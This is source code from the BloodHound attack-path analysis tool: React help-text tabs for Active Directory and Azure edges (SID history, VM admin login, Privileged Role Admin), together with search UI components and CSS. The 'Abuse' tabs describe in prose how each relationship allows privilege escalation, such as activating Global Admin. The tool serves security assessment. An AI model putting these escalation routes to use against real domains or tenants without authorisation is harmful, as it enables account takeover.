const General = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<>
<p>
The {typeFormat(sourceType)} {sourceName} has, in its SIDHistory
attribute, the SID for the {typeFormat(targetType)} {targetName}
.
</p>
<p>
When a kerberos ticket is created for {sourceName}, it will
include the SID for {targetName}, and therefore grant
{sourceName} the same privileges and permissions as
{targetName}.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/HasSIDHistory/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 186 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const HasSIDHistory = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
/>
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
HasSIDHistory.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default HasSIDHistory;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/HasSIDHistory/HasSIDHistory.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 254 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
No special actions are needed to abuse this, as the kerberos
tickets created will have all SIDs in the object's SID history
attribute added to them; however, if traversing a domain trust
boundary, ensure that SID filtering is not enforced, as SID
filtering will ignore any SIDs in the SID history portion of a
kerberos ticket.
</p>
<p>
By default, SID filtering is not enabled for all domain trust
types.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/HasSIDHistory/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 139 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/HasSIDHistory/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 155 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
When a virtual machine is configured to allow logon with Azure
AD credentials, the VM automatically has certain principals
added to its local administrators group, including any principal
granted the Virtual Machine Administrator Login (or "VMAL")
admin role.
</p>
<p>
Any principal granted this role, scoped to the affected VM, can
connect to the VM via RDP and will be granted local admin rights
on the VM.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZVMAdminLogin/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 133 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
Connect to the VM via RDP and you will be granted local admin rights
on the VM.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZVMAdminLogin/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 57 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZVMAdminLogin = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZVMAdminLogin.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZVMAdminLogin;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZVMAdminLogin/AZVMAdminLogin.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 228 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
ATT&CK T0008: Lateral Movement
</a>
<a href='path_to_url
ATT&CK T1021: Remote Services
</a>
<a href='path_to_url
Login to Windows virtual machine in Azure using Azure Active
Directory authentication
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZVMAdminLogin/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 107 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
The Privileged Role Admin role can grant any other admin role to
another principal at the tenant level.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZPrivilegedRoleAdmin/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 54 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<p>
Activate the Global Admin role for yourself or for another user
using PowerZure or PowerShell.
</p>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZPrivilegedRoleAdmin/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 52 |
```jsx
import React from 'react';
const References = () => {
return (
<a href='path_to_url#add-azureadrole'>
path_to_url#add-azureadrole
</a>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZPrivilegedRoleAdmin/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 53 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>
The Azure Activity Log will log who activated an admin role for what
other principal, including the date and time.
</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZPrivilegedRoleAdmin/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 58 |
```css
.tc :global li {
float: none;
}
``` | /content/code_sandbox/src/components/SearchContainer/TabContainer.module.css | css | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 12 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZPrivilegedRoleAdmin = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZPrivilegedRoleAdmin.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZPrivilegedRoleAdmin;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZPrivilegedRoleAdmin/AZPrivilegedRoleAdmin.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 238 |
```jsx
import React, { useEffect, useState, useRef } from 'react';
import { AsyncTypeahead, Menu, MenuItem } from 'react-bootstrap-typeahead';
import GlyphiconSpan from '../GlyphiconSpan';
import Icon from '../Icon';
import TabContainer from './TabContainer';
import { buildSearchQuery, buildSelectQuery } from 'utils';
import SearchRow from './SearchRow';
import styles from './SearchContainer.module.css';
import { useContext } from 'react';
import { AppContext } from '../../AppContext';
import clsx from 'clsx';
import EdgeFilter from './EdgeFilter/EdgeFilter';
const SearchContainer = () => {
const [pathfindingOpen, setPathfindingOpen] = useState(false);
const [mainSearchValue, setMainSearchValue] = useState('');
const [mainSearchResults, setMainSearchResults] = useState([]);
const [mainSearchSelected, setMainSearchSelected] = useState(null);
const [mainSearchLoading, setMainSearchLoading] = useState(false);
const [pathSearchValue, setPathSearchValue] = useState('');
const [pathSearchResults, setPathSearchResults] = useState([]);
const [pathSearchSelected, setPathSearchSelected] = useState(null);
const [pathSearchLoading, setPathSearchLoading] = useState(false);
const [filterVisible, setFilterVisible] = useState(false);
const pathfinding = useRef(null);
const tabs = useRef(null);
const mainSearchRef = useRef(null);
const pathSearchRef = useRef(null);
const context = useContext(AppContext);
useEffect(() => {
jQuery(pathfinding.current).slideToggle('fast');
jQuery(tabs.current).slideToggle('fast');
emitter.on('nodeClicked', openNodeTab);
emitter.on('setStart', (node) => {
let temp = {
name: node.label,
objectid: node.objectid,
type: node.type,
};
closeTooltip();
setMainSearchSelected(temp);
let instance = mainSearchRef.current;
instance.clear();
instance.setState({ text: temp.name });
});
emitter.on('setEnd', (node) => {
let temp = {
name: node.label,
objectid: node.objectid,
type: node.type,
};
closeTooltip();
let elem = jQuery(pathfinding.current);
if (!elem.is(':visible')) {
setPathfindingOpen(true);
elem.slideToggle('fast');
}
setPathSearchSelected(temp);
let instance = pathSearchRef.current;
instance.clear();
instance.setState({ text: temp.name });
});
}, []);
const doSearch = (query, source) => {
let session = driver.session();
let [statement, term] = buildSearchQuery(query);
if (source === 'main') {
setMainSearchLoading(true);
} else {
setPathSearchLoading(true);
}
session.run(statement, { name: term }).then((result) => {
let data = [];
for (let record of result.records) {
let node = record.get(0);
let properties = node.properties;
let labels = node.labels;
if (labels.length === 1) {
properties.type = labels[0];
} else {
properties.type = labels.filter((x) => {
return x !== 'Base' && x !== 'AZBase';
})[0];
}
data.push(properties);
}
if (source === 'main') {
setMainSearchResults(data);
setMainSearchLoading(false);
} else {
setPathSearchResults(data);
setPathSearchLoading(false);
}
session.close();
});
};
const onFilterClick = () => {
setFilterVisible(!filterVisible);
};
const onPathfindClick = () => {
jQuery(pathfinding.current).slideToggle('fast');
let open = !pathfindingOpen;
setPathfindingOpen(open);
};
const onExpandClick = () => {
jQuery(tabs.current).slideToggle('fast');
};
const onPlayClick = () => {
if (
mainSearchSelected === null ||
pathSearchSelected === null ||
mainSearchSelected.objectid === pathSearchSelected.objectid
) {
return;
}
let [query, props, startTarget, endTarget] = buildSelectQuery(
mainSearchSelected,
pathSearchSelected
);
mainSearchRef.current.blur();
pathSearchRef.current.blur();
emitter.emit('query', query, props, startTarget, endTarget);
};
const setSelection = (selection, source) => {
if (selection.length === 0) {
return;
}
if (source === 'main') {
setMainSearchSelected(selection[0]);
} else {
setPathSearchSelected(selection[0]);
}
};
useEffect(() => {
if (mainSearchSelected === null) {
return;
}
let stop = false;
if (!$('.searchSelectorS > ul').is(':hidden')) {
$('.searchSelectorS > ul li').each(function (i) {
if ($(this).hasClass('active')) {
stop = true;
}
});
}
if (!$('.searchSelectorP > ul').is(':hidden')) {
$('.searchSelectorP > ul li').each(function (i) {
if ($(this).hasClass('active')) {
stop = true;
}
});
}
if (stop) {
return;
}
let event = new Event('');
event.keyCode = 13;
onEnterPress(event);
}, [mainSearchSelected]);
useEffect(() => {
if (pathSearchSelected === null) {
return;
}
let stop = false;
if (!$('.searchSelectorS > ul').is(':hidden')) {
$('.searchSelectorS > ul li').each(function (i) {
if ($(this).hasClass('active')) {
stop = true;
}
});
}
if (!$('.searchSelectorP > ul').is(':hidden')) {
$('.searchSelectorP > ul li').each(function (i) {
if ($(this).hasClass('active')) {
stop = true;
}
});
}
if (stop) {
return;
}
let event = new Event('');
event.keyCode = 13;
onEnterPress(event);
}, [pathSearchSelected]);
const openNodeTab = () => {
let e = jQuery(tabs.current);
if (!e.is(':visible')) {
e.slideToggle('fast');
}
};
const onEnterPress = (event) => {
let key = event.keyCode ? event.keyCode : event.which;
if (key !== 13) {
return;
}
let stop = false;
if (!$('.searchSelectorS > ul').is(':hidden')) {
$('.searchSelectorS > ul li').each(function (i) {
if ($(this).hasClass('active')) {
stop = true;
}
});
}
if (!$('.searchSelectorP > ul').is(':hidden')) {
$('.searchSelectorP > ul li').each(function (i) {
if ($(this).hasClass('active')) {
stop = true;
}
});
}
if (stop) {
return;
}
mainSearchRef.current.blur();
pathSearchRef.current.blur();
if (!pathfindingOpen) {
if (mainSearchSelected === null) {
let [statement, prop] = buildSearchQuery(mainSearchValue);
emitter.emit('searchQuery', statement, {
name: prop,
});
} else {
let statement = `MATCH (n:${mainSearchSelected.type} {objectid:$objectid}) RETURN n`;
emitter.emit('searchQuery', statement, {
objectid: mainSearchSelected.objectid,
});
}
} else {
onPlayClick();
}
};
return (
<div
className={
context.darkMode
? clsx(styles.container, styles.dark)
: clsx(styles.container, styles.light)
}
>
<EdgeFilter open={filterVisible} />
<div className='input-group input-group-unstyled searchSelectorS'>
<GlyphiconSpan
tooltip
tooltipDir='bottom'
tooltipTitle='More Info'
classes='input-group-addon spanfix glyph-hover-style'
click={() => onExpandClick()}
>
<Icon glyph='menu-hamburger' extraClass='menuglyph' />
</GlyphiconSpan>
<AsyncTypeahead
id={'mainSearchBar'}
filterBy={(option, props) => {
let name = (
option.name ||
option.azname ||
option.objectid
).toLowerCase();
let id =
option.objectid != null
? option.objectid.toLowerCase()
: '';
let search;
if (props.text.includes(':')) {
search = props.text.split(':')[1];
} else {
search = props.text.toLowerCase();
}
return name.includes(search) || id.includes(search);
}}
placeholder={
pathfindingOpen ? 'Start Node' : 'Search for a node'
}
isLoading={mainSearchLoading}
delay={500}
renderMenu={(results, menuProps, props) => {
return (
<Menu
{...menuProps}
className={clsx(
context.darkMode ? styles.darkmenu : null
)}
>
{results.map((result, index) => {
return (
<MenuItem
option={result}
position={index}
key={index}
>
<SearchRow
item={result}
search={mainSearchValue}
/>
</MenuItem>
);
})}
</Menu>
);
}}
labelKey={(option) => {
return option.name || option.azname || option.objectid;
}}
useCache={false}
options={mainSearchResults}
onSearch={(query) => doSearch(query, 'main')}
inputProps={{
className: 'searchbox',
id: styles.searcha,
}}
onKeyDown={(event) => onEnterPress(event)}
onChange={(selection) => setSelection(selection, 'main')}
onInputChange={(event) => {
setMainSearchSelected(null);
setMainSearchValue(event);
}}
ref={mainSearchRef}
/>
<GlyphiconSpan
tooltip
tooltipDir='bottom'
tooltipTitle='Pathfinding'
classes='input-group-addon spanfix glyph-hover-style'
click={() => onPathfindClick()}
>
<Icon glyph='road' extraClass='menuglyph' />
</GlyphiconSpan>
<GlyphiconSpan
tooltip
tooltipDir='bottom'
tooltipTitle='Back'
classes='input-group-addon spanfix glyph-hover-style'
click={function () {
emitter.emit('graphBack');
}}
>
<Icon glyph='step-backward' extraClass='menuglyph' />
</GlyphiconSpan>
<GlyphiconSpan
tooltip
tooltipDir='bottom'
tooltipTitle='Filter Edge Types'
classes='input-group-addon spanfix glyph-hover-style'
click={() => onFilterClick()}
>
<Icon glyph='filter' extraClass='menuglyph' />
</GlyphiconSpan>
</div>
<div ref={pathfinding}>
<div className='input-group input-group-unstyled searchSelectorP'>
<GlyphiconSpan
tooltip={false}
classes='input-group-addon spanfix invisible'
>
<Icon glyph='menu-hamburger' extraClass='menuglyph' />
</GlyphiconSpan>
<AsyncTypeahead
ref={pathSearchRef}
id={'pathSearchbar'}
placeholder={'Target Node'}
isLoading={pathSearchLoading}
delay={500}
renderMenu={(results, menuProps, props) => {
return (
<Menu
{...menuProps}
className={clsx(
context.darkMode
? styles.darkmenu
: null
)}
>
{results.map((result, index) => {
return (
<MenuItem
option={result}
position={index}
key={index}
>
<SearchRow
item={result}
search={pathSearchValue}
/>
</MenuItem>
);
})}
</Menu>
);
}}
labelKey={(option) => {
return (
option.name || option.azname || option.objectid
);
}}
filterBy={(option, props) => {
let name = (
option.name ||
option.azname ||
option.objectid
).toLowerCase();
let id =
option.objectid != null
? option.objectid.toLowerCase()
: '';
let search;
if (props.text.includes(':')) {
search = props.text.split(':')[1];
} else {
search = props.text.toLowerCase();
}
return name.includes(search) || id.includes(search);
}}
useCache={false}
options={pathSearchResults}
onSearch={(query) => doSearch(query, 'secondary')}
onKeyDown={(event) => onEnterPress(event)}
onChange={(selection) =>
setSelection(selection, 'secondary')
}
onInputChange={(event) => {
setPathSearchValue(event);
setPathSearchSelected(null);
}}
inputProps={{
className: 'searchbox',
id: styles.searchb,
}}
/>
<GlyphiconSpan
tooltip={false}
classes='input-group-addon spanfix invisible'
>
<Icon glyph='road' extraClass='menuglyph' />
</GlyphiconSpan>
<GlyphiconSpan
tooltip
tooltipDir='bottom'
tooltipTitle='Find Path'
classes='input-group-addon spanfix glyph-hover-style'
click={() => onPlayClick()}
>
<Icon glyph='play' extraClass='menuglyph' />
</GlyphiconSpan>
</div>
</div>
<div id='tabcontainer' ref={tabs}>
<TabContainer />
</div>
</div>
);
};
SearchContainer.propTypes = {};
export default SearchContainer;
``` | /content/code_sandbox/src/components/SearchContainer/SearchContainer.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 3,027 |
```jsx
import React, { Component } from 'react';
import DatabaseDataDisplay from './Tabs/DatabaseDataDisplay';
import PrebuiltQueriesDisplay from './Tabs/PrebuiltQueriesDisplay';
import NoNodeData from './Tabs/NoNodeData';
import UserNodeData from './Tabs/UserNodeData';
import GroupNodeData from './Tabs/GroupNodeData';
import ComputerNodeData from './Tabs/ComputerNodeData';
import DomainNodeData from './Tabs/DomainNodeData';
import GpoNodeData from './Tabs/GPONodeData';
import OuNodeData from './Tabs/OUNodeData';
import AZGroupNodeData from './Tabs/AZGroupNodeData';
import AZUserNodeData from './Tabs/AZUserNodeData';
import AZContainerRegistryNodeData from './Tabs/AZContainerRegistryNodeData';
import AZAutomationAccountNodeData from './Tabs/AZAutomationAccountNodeData';
import AZLogicAppNodeData from './Tabs/AZLogicAppNodeData';
import AZFunctionAppNodeData from './Tabs/AZFunctionAppNodeData';
import AZWebAppNodeData from './Tabs/AZWebAppNodeData';
import AZManagedClusterNodeData from './Tabs/AZManagedClusterNodeData';
import AZVMScaleSetNodeData from './Tabs/AZVMScaleSetNodeData';
import AZKeyVaultNodeData from './Tabs/AZKeyVaultNodeData';
import AZResourceGroupNodeData from './Tabs/AZResourceGroupNodeData';
import AZDeviceNodeData from './Tabs/AZDeviceNodeData';
import AZSubscriptionNodeData from './Tabs/AZSubscriptionNodeData';
import AZTenantNodeData from './Tabs/AZTenantNodeData';
import AZVMNodeData from './Tabs/AZVMNodeData';
import AZServicePrincipalNodeData from './Tabs/AZServicePrincipal';
import AZAppNodeData from './Tabs/AZApp';
import { Tabs, Tab } from 'react-bootstrap';
import { openSync, readSync, closeSync } from 'fs';
import imageType from 'image-type';
import { withAlert } from 'react-alert';
import styles from './TabContainer.module.css';
import BaseNodeData from "./Tabs/BaseNodeData";
import ContainerNodeData from "./Tabs/ContainerNodeData";
import AZManagementGroupNodeData from "./Tabs/AZManagementGroupNodeData";
import AZRoleNodeData from "./Tabs/AZRoleNodeData";
class TabContainer extends Component {
constructor(props) {
super(props);
this.state = {
baseVisible: false,
userVisible: false,
computerVisible: false,
groupVisible: false,
domainVisible: false,
gpoVisible: false,
ouVisible: false,
containerVisible: false,
azGroupVisible: false,
azUserVisible: false,
azContainerRegistryVisible: false,
azLogicAppVisible: false,
azFunctionAppVisible: false,
azWebAppVisible: false,
azManagedClusterVisible: false,
azVMScaleSetVisible: false,
azKeyVaultVisible: false,
azResourceGroupVisible: false,
azDeviceVisible: false,
azSubscriptionVisible: false,
azTenantVisible: false,
azVMVisible: false,
azServicePrincipalVisible: false,
azAppVisible: false,
azManagementGroupVisible: false,
azRoleVisible: false,
selected: 1,
};
}
clearVisible() {
let temp = this.state;
for (let key in temp) {
if (key.includes('Visible'))
temp[key] = false
}
this.setState(temp)
}
nodeClickHandler(type) {
if (type === 'User') {
this._userNodeClicked();
} else if (type === 'Group') {
this._groupNodeClicked();
} else if (type === 'Computer') {
this._computerNodeClicked();
} else if (type === 'Domain') {
this._domainNodeClicked();
} else if (type === 'OU') {
this._ouNodeClicked();
} else if (type === 'GPO') {
this._gpoNodeClicked();
} else if (type === 'AZGroup') {
this._azGroupNodeClicked();
} else if (type === 'AZUser') {
this._azUserNodeClicked();
} else if (type === 'AZContainerRegistry') {
this._azContainerRegistryNodeClicked();
} else if (type === 'AZAutomationAccount') {
this._azAutomationAccountNodeClicked();
} else if (type === 'AZLogicApp') {
this._azLogicAppNodeClicked();
} else if (type === 'AZFunctionApp') {
this._azFunctionAppNodeClicked();
} else if (type === 'AZWebApp') {
this._azWebAppNodeClicked();
} else if (type === 'AZManagedCluster') {
this._azManagedClusterNodeClicked();
} else if (type === 'AZVMScaleSet') {
this._azVMScaleSetNodeClicked();
} else if (type === 'AZKeyVault') {
this._azKeyVaultNodeClicked();
} else if (type === 'AZResourceGroup') {
this._azResourceGroupNodeClicked();
} else if (type === 'AZDevice') {
this._azDeviceNodeClicked();
} else if (type === 'AZSubscription') {
this._azSubscriptionNodeClicked();
} else if (type === 'AZTenant') {
this._azTenantNodeClicked();
} else if (type === 'AZVM') {
this._azVMNodeClicked();
} else if (type === 'AZServicePrincipal') {
this._azServicePrincipalNodeClicked();
} else if (type === 'AZApp') {
this._azAppNodeClicked();
} else if (type === 'Base') {
this._baseNodeClicked();
} else if (type === 'Container') {
this._containerNodeClicked()
} else if (type === 'AZManagementGroup') {
this._azManagementGroupNodeClicked()
} else if (type === 'AZRole') {
this._azRoleNodeClicked()
}
}
componentDidMount() {
emitter.on('nodeClicked', this.nodeClickHandler.bind(this));
emitter.on('imageupload', this.uploadImage.bind(this));
}
uploadImage(event) {
let files = [];
$.each(event.dataTransfer.files, (_, f) => {
let buf = Buffer.alloc(12);
let file = openSync(f.path, 'r');
readSync(file, buf, 0, 12, 0);
closeSync(file);
let type = imageType(buf);
if (type !== null && type.mime.includes('image')) {
files.push({ path: f.path, name: f.name });
} else {
this.props.alert.info('{} is not an image'.format(f.name));
}
});
emitter.emit('imageUploadFinal', files);
}
_baseNodeClicked() {
this.clearVisible()
this.setState({
baseVisible: true,
selected: 2
});
}
_containerNodeClicked() {
this.clearVisible()
this.setState({
containerVisible: true,
selected: 2
});
}
_userNodeClicked() {
this.clearVisible()
this.setState({
userVisible: true,
selected: 2
});
}
_groupNodeClicked() {
this.clearVisible()
this.setState({
groupVisible: true,
selected: 2
});
}
_computerNodeClicked() {
this.clearVisible()
this.setState({
computerVisible: true,
selected: 2
});
}
_domainNodeClicked() {
this.clearVisible()
this.setState({
domainVisible: true,
selected: 2
});
}
_gpoNodeClicked() {
this.clearVisible()
this.setState({
gpoVisible: true,
selected: 2
});
}
_ouNodeClicked() {
this.clearVisible()
this.setState({
ouVisible: true,
selected: 2
});
}
_azGroupNodeClicked() {
this.clearVisible()
this.setState({
azGroupVisible: true,
selected: 2
});
}
_azUserNodeClicked() {
this.clearVisible()
this.setState({
azUserVisible: true,
selected: 2
});
}
_azContainerRegistryNodeClicked() {
this.clearVisible()
this.setState({
azContainerRegistryVisible: true,
selected: 2
})
}
_azAutomationAccountNodeClicked() {
this.clearVisible()
this.setState({
azAutomationAccountVisible: true,
selected: 2
})
}
_azLogicAppNodeClicked() {
this.clearVisible()
this.setState({
azLogicAppVisible: true,
selected: 2
})
}
_azFunctionAppNodeClicked() {
this.clearVisible()
this.setState({
azFunctionAppVisible: true,
selected: 2
})
}
_azWebAppNodeClicked() {
this.clearVisible()
this.setState({
azWebAppVisible: true,
selected: 2
})
}
_azManagedClusterNodeClicked() {
this.clearVisible()
this.setState({
azManagedClusterVisible: true,
selected: 2
})
}
_azVMScaleSetNodeClicked() {
this.clearVisible()
this.setState({
azVMScaleSetVisible: true,
selected: 2
})
}
_azKeyVaultNodeClicked() {
this.clearVisible()
this.setState({
azKeyVaultVisible: true,
selected: 2
});
}
_azResourceGroupNodeClicked() {
this.clearVisible()
this.setState({
azResourceGroupVisible: true,
selected: 2
});
}
_azManagementGroupNodeClicked() {
this.clearVisible()
this.setState({
azManagementGroupVisible: true,
selected: 2
});
}
_azRoleNodeClicked() {
this.clearVisible()
this.setState({
azRoleVisible: true,
selected: 2
});
}
_azDeviceNodeClicked() {
this.clearVisible()
this.setState({
azDeviceVisible: true,
selected: 2
});
}
_azSubscriptionNodeClicked() {
this.clearVisible()
this.setState({
azSubscriptionVisible: true,
selected: 2
});
}
_azTenantNodeClicked() {
this.clearVisible()
this.setState({
azTenantVisible: true,
selected: 2
});
}
_azVMNodeClicked() {
this.clearVisible()
this.setState({
azVMVisible: true,
selected: 2
});
}
_azServicePrincipalNodeClicked() {
this.clearVisible()
this.setState({
azServicePrincipalVisible: true,
selected: 2
});
}
_azAppNodeClicked() {
this.clearVisible()
this.setState({
azAppVisible: true,
selected: 2
});
}
_handleSelect(index, last) {
this.setState({ selected: index });
}
render() {
return (
<div>
<Tabs
id='tabcontainer'
bsStyle='pills'
activeKey={this.state.selected}
onSelect={this._handleSelect.bind(this)}
className={styles.tc}
>
<Tab eventKey={1} title='Database Info'>
<DatabaseDataDisplay />
</Tab>
<Tab eventKey={2} title='Node Info'>
<NoNodeData
visible={
!this.state.baseVisible &&
!this.state.containerVisible &&
!this.state.userVisible &&
!this.state.computerVisible &&
!this.state.groupVisible &&
!this.state.domainVisible &&
!this.state.gpoVisible &&
!this.state.ouVisible &&
!this.state.azGroupVisible &&
!this.state.azUserVisible &&
!this.state.azContainerRegistryVisible &&
!this.state.azAutomationAccountVisible &&
!this.state.azLogicAppVisible &&
!this.state.azFunctionAppVisible &&
!this.state.azWebAppVisible &&
!this.state.azManagedClusterVisible &&
!this.state.azVMScaleSetVisible &&
!this.state.azKeyVaultVisible &&
!this.state.azResourceGroupVisible &&
!this.state.azDeviceVisible &&
!this.state.azSubscriptionVisible &&
!this.state.azTenantVisible &&
!this.state.azVMVisible &&
!this.state.azServicePrincipalVisible &&
!this.state.azAppVisible &&
!this.state.baseVisible &&
!this.state.azManagementGroupVisible &&
!this.state.azRoleVisible
}
/>
<BaseNodeData visible={this.state.baseVisible} />
<UserNodeData visible={this.state.userVisible} />
<GroupNodeData visible={this.state.groupVisible} />
<ComputerNodeData
visible={this.state.computerVisible}
/>
<DomainNodeData visible={this.state.domainVisible} />
<GpoNodeData visible={this.state.gpoVisible} />
<OuNodeData visible={this.state.ouVisible} />
<ContainerNodeData visible={this.state.containerVisible} />
<AZGroupNodeData visible={this.state.azGroupVisible} />
<AZUserNodeData visible={this.state.azUserVisible} />
<AZContainerRegistryNodeData visible={this.state.azContainerRegistryVisible} />
<AZAutomationAccountNodeData visible={this.state.azAutomationAccountVisible} />
<AZLogicAppNodeData visible={this.state.azLogicAppVisible} />
<AZFunctionAppNodeData visible={this.state.azFunctionAppVisible} />
<AZWebAppNodeData visible={this.state.azWebAppVisible} />
<AZManagedClusterNodeData visible={this.state.azManagedClusterVisible} />
<AZVMScaleSetNodeData visible={this.state.azVMScaleSetVisible} />
<AZKeyVaultNodeData
visible={this.state.azKeyVaultVisible}
/>
<AZResourceGroupNodeData
visible={this.state.azResourceGroupVisible}
/>
<AZDeviceNodeData
visible={this.state.azDeviceVisible}
/>
<AZSubscriptionNodeData
visible={this.state.azSubscriptionVisible}
/>
<AZTenantNodeData
visible={this.state.azTenantVisible}
/>
<AZVMNodeData visible={this.state.azVMVisible} />
<AZServicePrincipalNodeData
visible={this.state.azServicePrincipalVisible}
/>
<AZAppNodeData visible={this.state.azAppVisible} />
<AZManagementGroupNodeData visible={this.state.azManagementGroupVisible} />
<AZRoleNodeData visible={this.state.azRoleVisible} />
</Tab>
<Tab eventKey={3} title='Analysis'>
<PrebuiltQueriesDisplay />
</Tab>
</Tabs>
</div>
);
}
}
export default withAlert()(TabContainer);
``` | /content/code_sandbox/src/components/SearchContainer/TabContainer.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 3,289 |
```css
.spacing {
margin-left: 10px;
margin-right: 5px;
}
``` | /content/code_sandbox/src/components/SearchContainer/SearchRow.module.css | css | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 20 |
```css
/* #searcha {
border-top: 1px solid #ced4da;
border-right: 0;
border-left: 0;
border-bottom: 1px solid #ced4da;
}
#searchb {
border-top: 0;
border-bottom: 1px solid #ced4da;
border-left: 0;
border-right: 0;
}
#searcha:focus {
box-shadow: none;
}
#searchb:focus {
box-shadow: none;
} */
.darkmenu {
background-color: #2b333e;
}
.darkmenu :global mark {
color: white;
}
.darkmenu :global .dropdown-item {
color: white;
}
.darkmenu :global li :global a:hover {
background: #406f8e none;
color: white;
}
@media all and (min-width: 600px) {
.container {
position: absolute;
z-index: 10;
top: 1em;
left: 1em;
overflow: visible;
min-width: 415px;
max-width: 45%;
background-color: white;
}
}
